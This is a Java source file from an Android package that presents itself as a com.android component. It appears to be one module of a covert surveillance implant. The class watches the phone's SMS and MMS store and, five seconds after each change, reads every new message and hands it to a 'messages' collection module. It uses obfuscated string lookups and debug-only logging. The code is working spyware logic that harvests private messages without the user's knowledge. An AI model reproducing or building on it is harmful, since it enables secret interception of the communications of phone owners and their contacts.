package com.android.dvci.module.message;
import java.util.ArrayList;
import java.util.Iterator;
import android.content.ContentResolver;
import android.database.ContentObserver;
import android.os.Handler;
import android.os.Handler.Callback;
import android.os.Message;
import com.android.dvci.Status;
import com.android.dvci.auto.Cfg;
import com.android.dvci.manager.ManagerModule;
import com.android.dvci.module.ModuleMessage;
import com.android.dvci.util.Check;
import com.android.mm.M;
public class MsgObserver extends ContentObserver implements Runnable {
private static final String TAG = "MsgObserver"; //$NON-NLS-1$
private boolean mmsEnabled;
private boolean smsEnabled;
private long changeDelay = 5000;
public MsgObserver(Handler handler, boolean mmsEnabled, boolean smsEnabled) {
super(handler);
this.mmsEnabled = mmsEnabled;
this.smsEnabled = smsEnabled;
}
final Handler h = new Handler(new Callback() {
@Override
public boolean handleMessage(Message msg) {
actualBrowsing();
return false;
}
});
@Override
public void onChange(boolean bSelfChange) {
super.onChange(bSelfChange);
if (Cfg.DEBUG) {
Check.log(TAG + " (onChange): preparing callback");
}
Handler handler = Status.getDefaultHandler();
handler.removeCallbacks(this);
handler.postDelayed(this, changeDelay);
}
/**
* Chiamato dall'handler, dopo 5 secondi.
*/
@Override
public void run() {
if (Cfg.DEBUG) {
Check.log(TAG + " (run): callback called");
}
actualBrowsing();
}
void actualBrowsing() {
if (Cfg.DEBUG) {
Check.log(TAG + " (actualBrowsing)");
}
// messages: M.d("messages");
ModuleMessage moduleMessage = (ModuleMessage) ManagerModule.self().get(M.e("messages"));
if (moduleMessage == null) {
return;
}
final ContentResolver contentResolver = Status.getAppContext().getContentResolver();
// http://stackoverflow.com/questions/3012287/how-to-read-mms-data-in-android
// Se questa non dovesse piu andare cambiare in "content://sms"
// ManagerModule.get("sms")
// orig: content://sms/outbox
/*
* I possibili content resolver sono Inbox = "content://sms/inbox"
* Failed = "content://sms/failed" Queued = "content://sms/queued" Sent
* = "content://sms/sent" Draft = "content://sms/draft" Outbox =
* "content://sms/outbox" Undelivered = "content://sms/undelivered" All
* = "content://sms/all" Conversations = "content://sms/conversations"
* All Conversations = "content://mms-sms/conversations" All messages =
* "content://mms-sms" All SMS = "content://sms"
*/
if (mmsEnabled) {
final MmsBrowser mmsBrowser = new MmsBrowser();
final ArrayList<Mms> listMms = mmsBrowser.getMmsList(moduleMessage.getLastManagedMmsId());
final Iterator<Mms> iterMms = listMms.listIterator();
while (iterMms.hasNext()) {
final Mms mms = iterMms.next();
mms.print();
moduleMessage.notification(mms);
}
moduleMessage.updateMarkupMMS(mmsBrowser.getMaxId());
}
if (smsEnabled) {
final SmsBrowser smsBrowser = new SmsBrowser();
final ArrayList<Sms> listSms = smsBrowser.getSmsList(moduleMessage.getLastManagedSmsId());
final Iterator<Sms> iterSms = listSms.listIterator();
while (iterSms.hasNext()) {
final Sms sms = iterSms.next();
sms.print();
moduleMessage.notification(sms);
}
if (Cfg.DEBUG) {
Check.log(TAG + " (actualBrowsing), getMaxId: " + smsBrowser.getMaxId());
}
moduleMessage.updateMarkupSMS(smsBrowser.getMaxId());
}
}
}